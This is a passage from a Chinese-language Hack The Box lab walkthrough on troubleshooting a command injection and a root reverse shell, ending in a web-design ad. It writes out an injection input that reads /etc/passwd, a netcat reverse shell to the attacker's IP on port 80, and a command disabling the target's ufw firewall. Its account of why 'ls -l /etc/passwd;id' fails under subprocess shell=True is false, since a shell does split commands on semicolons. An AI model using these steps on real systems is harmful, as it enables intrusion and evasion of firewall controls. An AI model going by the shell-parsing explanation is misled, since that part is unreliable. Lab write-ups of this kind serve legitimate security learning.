5.4 “jarvis.py中输入ls -l /etc/passwd;id,只返回ls结果”——分号被当作参数而非命令分隔符

在jarvis.py交互中,输入ls -l /etc/passwd;id,只看到ls输出,id没执行。这是因为subprocess.run(cmd, shell=True)将整个字符串当做一个命令执行,而ls命令的-l参数后跟;id被当作了ls的文件名参数。正确做法是用&&或|:ls -l /etc/passwd && id。或者更稳妥:sh -c 'ls -l /etc/passwd;id'。这个细节暴露了对shell解析机制的理解深度——不是所有分隔符在所有上下文中都等效。

5.5 “root shell连上后立刻断开”——nc监听端口被防火墙重置

获得root shell后,nc -lvnp 9001监听,但目标机nc连接后2秒断开。抓包发现SYN包发出,但无ACK返回。检查目标机防火墙:sudo ufw status显示Status: active。关闭:sudo ufw disable。但更根本的解决是换端口:HTB靶机防火墙放行80/443,所以用nc 10.10.14.5 80,攻击机nc -lvnp 80,稳定连接。这个经验教训是:永远优先使用已知放行的端口,而不是挑战防火墙规则。

实操心得:HTB靶机的“难度普通”不意味着步骤简单,而是指每个漏洞点都符合真实环境约束——有WAF规则、有函数禁用、有防火墙策略、有会话超时。把每一次失败都当作环境在告诉你“这里有限制”,而不是“工具不行”。我整理了一份《HTB靶机通用排障清单》,包含27个高频故障点及对应命令,比如“检查ufw状态”“验证PHP disable_functions”“确认session cookie有效期”,这些才是让walkthrough真正落地的关键。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询